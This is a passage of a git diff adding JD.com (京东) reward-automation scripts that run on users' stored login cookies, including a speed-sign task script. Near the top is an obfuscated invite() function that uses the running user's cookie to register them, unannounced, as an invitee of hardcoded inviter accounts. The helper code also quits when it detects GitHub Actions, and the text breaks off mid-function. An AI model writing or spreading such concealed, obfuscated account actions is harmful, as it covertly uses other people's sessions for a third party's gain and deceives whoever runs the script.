_0x32e623=0x0,_0x3a311d,_0x45b5c4,_0xd282f2=0x0,_0x4e69f9='';_0x45b5c4=_0x597031['charAt'](_0xd282f2++);~_0x45b5c4&&(_0x3a311d=_0x32e623%0x4?_0x3a311d*0x40+_0x45b5c4:_0x45b5c4,_0x32e623++%0x4)?_0x4e69f9+=String['fromCharCode'](0xff&_0x3a311d>>(-0x2*_0x32e623&0x6)):0x0){_0x45b5c4=_0x362fe4['indexOf'](_0x45b5c4);}return _0x4e69f9;});}());var _0x2427ed=function(_0x1bbc2f,_0x593020){var _0x4ec58a=[],_0x38b3c9=0x0,_0x4c5e52,_0x525bdc='',_0x547526='';_0x1bbc2f=atob(_0x1bbc2f);for(var _0x1c2cb0=0x0,_0x1fab52=_0x1bbc2f['length'];_0x1c2cb0<_0x1fab52;_0x1c2cb0++){_0x547526+='%'+('00'+_0x1bbc2f['charCodeAt'](_0x1c2cb0)['toString'](0x10))['slice'](-0x2);}_0x1bbc2f=decodeURIComponent(_0x547526);for(var _0x3262a0=0x0;_0x3262a0<0x100;_0x3262a0++){_0x4ec58a[_0x3262a0]=_0x3262a0;}for(_0x3262a0=0x0;_0x3262a0<0x100;_0x3262a0++){_0x38b3c9=(_0x38b3c9+_0x4ec58a[_0x3262a0]+_0x593020['charCodeAt'](_0x3262a0%_0x593020['length']))%0x100;_0x4c5e52=_0x4ec58a[_0x3262a0];_0x4ec58a[_0x3262a0]=_0x4ec58a[_0x38b3c9];_0x4ec58a[_0x38b3c9]=_0x4c5e52;}_0x3262a0=0x0;_0x38b3c9=0x0;for(var _0x22187d=0x0;_0x22187d<_0x1bbc2f['length'];_0x22187d++){_0x3262a0=(_0x3262a0+0x1)%0x100;_0x38b3c9=(_0x38b3c9+_0x4ec58a[_0x3262a0])%0x100;_0x4c5e52=_0x4ec58a[_0x3262a0];_0x4ec58a[_0x3262a0]=_0x4ec58a[_0x38b3c9];_0x4ec58a[_0x38b3c9]=_0x4c5e52;_0x525bdc+=String['fromCharCode'](_0x1bbc2f['charCodeAt'](_0x22187d)^_0x4ec58a[(_0x4ec58a[_0x3262a0]+_0x4ec58a[_0x38b3c9])%0x100]);}return _0x525bdc;};_0x4190['LOUkSd']=_0x2427ed;_0x4190['cxlfXf']={};_0x4190['sDfRUY']=!![];}var _0x1f7209=_0x4190['cxlfXf'][_0xaaecd5];if(_0x1f7209===undefined){if(_0x4190['pdZcpZ']===undefined){_0x4190['pdZcpZ']=!![];}_0x2e7b9f=_0x4190['LOUkSd'](_0x2e7b9f,_0x593020);_0x4190['cxlfXf'][_0xaaecd5]=_0x2e7b9f;}else{_0x2e7b9f=_0x1f7209;}return _0x2e7b9f;};function invite(){var _0x4c359b={'BDyjj':'Lp3j8bN3zVW7XBBFzA%2Fh0IjHF0tn8HHhELd%2BqviJRJw%3D','CzkXt':_0x4190('0','O7Jj'),'olBdu':_0x4190('1','!WHt'),'OJbOL':_0x4190('2','Wirr'),'MSPXS':_0x4190('3','Wirr'),'vBVQg':_0x4190('4','60!F'),'nXJoY':'HdFQh5IbAZFVC1pGUIz44b2JohZPS5BW6QLKyz/wAhY=','MAoNJ':_0x4190('5','K^N3'),'eWHDf':_0x4190('6','Z@Wp'),'MNwBw':_0x4190('7','V)zB'),'GLxTr':_0x4190('8','!Ok3'),'RqcOc':'VbAuzdLrRQv8DT8VU4gR66uCcg4QHrWnW+DyOv8IedA=','ajCQw':function(_0x2cce24,_0x562d5d){return _0x2cce24*_0x562d5d;},'qkXko':_0x4190('9','60!F'),'DPrdZ':'application/json,\x20text/plain,\x20*/*','mUpSd':_0x4190('a','9*(C'),'zUNfV':_0x4190('b','mKeA'),'HIayc':function(_0x1a1b78,_0x43fb04){return _0x1a1b78(_0x43fb04);},'lvRJs':'./JS_USER_AGENTS','rHUPU':_0x4190('c','K^N3'),'qpZEp':'https://invite-reward.jd.com/','tRmYc':function(_0x368db7,_0x25c256){return _0x368db7(_0x25c256);}};let _0x2448b2=+new Date();let _0x157083=['Wy3rGd8o4Vckq1VucBFJjA==',_0x4c359b['BDyjj'],_0x4c359b[_0x4190('d','Z@Wp')],_0x4c359b[_0x4190('e','V)zB')],_0x4c359b[_0x4190('f','hOQs')],_0x4c359b[_0x4190('10','XN2O')],_0x4c359b[_0x4190('11','By6G')],_0x4c359b['vBVQg'],_0x4c359b[_0x4190('12','zztw')],_0x4c359b[_0x4190('13','%npS')],'2OldVZc5pETBD81XU85thQ==',_0x4c359b[_0x4190('14','%npS')],_0x4c359b[_0x4190('15','PirR')],_0x4c359b[_0x4190('16','1DK0')],_0x4190('17','Phvn'),'kqLZC8D0wWlL5W9olLLuufCc6GH4caIGABQEmpeiokM=',_0x4c359b[_0x4190('18','zztw')]][Math[_0x4190('19','H@!d')](_0x4c359b['ajCQw'](Math[_0x4190('1a','ZDlE')](),0x11))];var _0x57e37a={'Host':_0x4c359b[_0x4190('1b','mSa3')],'accept':_0x4c359b['DPrdZ'],'content-type':_0x4190('1c','Wirr'),'origin':_0x4c359b[_0x4190('1d','6vaq')],'accept-language':_0x4c359b[_0x4190('1e','XN2O')],'user-agent':$[_0x4190('1f','ZDlE')]()?process[_0x4190('20','&xMM')][_0x4190('21','O7Jj')]?process['env']['JS_USER_AGENT']:_0x4c359b['HIayc'](require,_0x4c359b[_0x4190('22','sT8r')])[_0x4190('23','$rvK')]:$[_0x4190('24','2XK]')](_0x4190('25','%npS'))?$[_0x4190('26','hOQs')](_0x4c359b[_0x4190('27','iF*K')]):'\x27jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0\x20(iPad;\x20CPU\x20OS\x2014_4\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Mobile/15E148;supportJDSHWK/1','referer':_0x4c359b[_0x4190('28','60!F')],'Cookie':cookie};var _0x4f674b='functionId=InviteFriendApiService&body={\x22method\x22:\x22attendInviteActivity\x22,\x22data\x22:{\x22inviterPin\x22:\x22'+_0x4c359b[_0x4190('29','TM98')](encodeURIComponent,_0x157083)+_0x4190('2a','Z@Wp')+_0x2448b2;var _0x5ab1fc={'url':'https://api.m.jd.com/?t='+ +new Date(),'headers':_0x57e37a,'body':_0x4f674b};$[_0x4190('2b','XlEU')](_0x5ab1fc,(_0x727473,_0x590d22,_0x35ad09)=>{});};_0xod6='jsjiami.com.v6'; + +function taskPostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/`, + body: `appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + // 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'user-agent': "jdltapp;iPhone;3.3.2;14.3;b488010ad24c40885d846e66931abaf532ed26a5;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/2005183373;hasOCPay/0;appBuild/1049;supportBestPay/0;pv/220.46;apprpd/;ref/JDLTSubMainPageViewController;psq/0;ads/;psn/b488010ad24c40885d846e66931abaf532ed26a5|520;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1618673222002|1618673227;adk/;app_device/IOS;pap/JA2020_3112531|3.3.2|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1 ", + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded", + "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html" + } + } +} + + +function taskGetUrl(function_id, body) { + return { + url: `https://api.m.jd.com/?appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded", + "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_speed_sign.js b/jd_speed_sign.js new file mode 100644 index 0000000..d55beda --- /dev/null +++ b/jd_speed_sign.js @@ -0,0 +1,755 @@ +/* +京东极速版签到+赚现金任务 +每日9毛左右,满3,10,50可兑换无门槛红包 +⚠️⚠️⚠️一个号需要运行40分钟左右 + +活动时间:长期 +活动入口:京东极速版app-现金签到 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东极速版 +0 7 * * * jd_speed_sign.js, tag=京东极速版, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true + +================Loon============== +[Script] +cron "0 7 * * *" script-path=jd_speed_sign.js,tag=京东极速版 + +===============Surge================= +京东极速版 = type=cron,cronexp="0 7 * * *",wake-system=1,timeout=33600,script-path=jd_speed_sign.js + +============小火箭========= +京东极速版 = type=cron,script-path=jd_speed_sign.js, cronexpr="0 7 * * *", timeout=33600, enable=true +*/ + +const $ = new Env('京东极速版'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + + +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001'; + + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdGlobal() + await $.wait(2*1000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdGlobal() { + try { + await richManIndex() + + await wheelsHome() + await apTaskList() + await wheelsHome() + + await signInit() + await sign() + await invite() + await invite2() + $.score = 0 + $.total = 0 + await taskList() + await queryJoy() + await signInit() + await cash() + await showMsg() + } catch (e) { + $.logErr(e) + } +} + + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.score}金币,共计${$.total}金币\n可兑换 ${($.total/10000).toFixed(2)} 元京东红包\n兑换入口:京东极速版->我的->金币` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +async function signInit() { + return new Promise(resolve => { + $.get(taskUrl('speedSignInit', { + "activityId": "8a8fabf3cccb417f8e691b6774938bc2", + "kernelPlatform": "RN", + "inviterId":"gCBrvPfINCZc+dotfvHPlA==" + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + //console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function sign() { + return new Promise(resolve => { + $.get(taskUrl('speedSign', { + "kernelPlatform": "RN", + "activityId": "8a8fabf3cccb417f8e691b6774938bc2", + "noWaitPrize": "false" + }), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === 0) { + console.log(`签到获得${data.data.signAmount}现金,共计获得${data.data.cashDrawAmount}`) + } else { + console.log(`签到失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function taskList() { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "version": "3.1.0", + "method": "newTaskCenterPage", + "data": {"channel": 1} + }), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + for (let task of data.data) { + $.taskName = task.taskInfo.mainTitle + if (task.taskInfo.status === 0) { + if (task.taskType >= 1000) { + await doTask(task.taskType) + await $.wait(1000) + } else { + $.canStartNewItem = true + while ($.canStartNewItem) { + if (task.taskType !== 3) { + await queryItem(task.taskType) + } else { + await startItem("", task.taskType) + } + } + } + } else { + console.log(`${task.taskInfo.mainTitle}已完成`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doTask(taskId) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "marketTaskRewardPayment", + "data": {"channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + console.log(`${data.data.taskInfo.mainTitle}任务完成成功,预计获得${data.data.reward}金币`) + } else { + console.log(`任务完成失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function queryJoy() { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', {"method": "queryJoyPage", "data": {"channel": 1}}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.taskBubbles) + for (let task of data.data.taskBubbles) { + await rewardTask(task.id, task.activeType) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function rewardTask(id, taskId) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "joyTaskReward", + "data": {"id": id, "channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + $.score += data.data.reward + console.log(`气泡收取成功,获得${data.data.reward}金币`) + } else { + console.log(`气泡收取失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +async function queryItem(activeType = 1) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "queryNextTask", + "data": {"channel": 1, "activeType": activeType} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data) { + await startItem(data.data.nextResource, activeType) + } else { + console.log(`商品任务开启失败,${data.message}`) + $.canStartNewItem = false + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function startItem(activeId, activeType) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "enterAndLeave", + "data": { + "activeId": activeId, + "clientTime": +new Date(), + "channel": "1", + "messageType": "1", + "activeType": activeType, + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data) { + if (data.data.taskInfo.isTaskLimit === 0) { + let {videoBrowsing, taskCompletionProgress, taskCompletionLimit} = data.data.taskInfo + if (activeType !== 3) + videoBrowsing = activeType === 1 ? 5 : 10 + console.log(`【${taskCompletionProgress + 1}/${taskCompletionLimit}】浏览商品任务记录成功,等待${videoBrowsing}秒`) + await $.wait(videoBrowsing * 1000) + await endItem(data.data.uuid, activeType, activeId, activeType === 3 ? videoBrowsing : "") + } else { + console.log(`${$.taskName}任务已达上限`) + $.canStartNewItem = false + } + } else { + $.canStartNewItem = false + console.log(`${$.taskName}任务开启失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function endItem(uuid, activeType, activeId = "", videoTimeLength = "") { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', + { + "method": "enterAndLeave", + "data": { + "channel": "1", + "clientTime": +new Date(), + "uuid": uuid, + "videoTimeLength": videoTimeLength, + "messageType": "2", + "activeType": activeType, + "activeId": activeId + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.isSuccess) { + await rewardItem(uuid, activeType, activeId, videoTimeLength) + } else { + console.log(`${$.taskName}任务结束失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function rewardItem(uuid, activeType, activeId = "", videoTimeLength = "") { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', + { + "method": "rewardPayment", + "data": { + "channel": "1", + "clientTime": +new Date(), + "uuid": uuid, + "videoTimeLength": videoTimeLength, + "messageType": "2", + "activeType": activeType, + "activeId": activeId + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.isSuccess) { + $.score += data.data.reward + console.log(`${$.taskName}任务完成,获得${data.data.reward}金币`) + } else { + 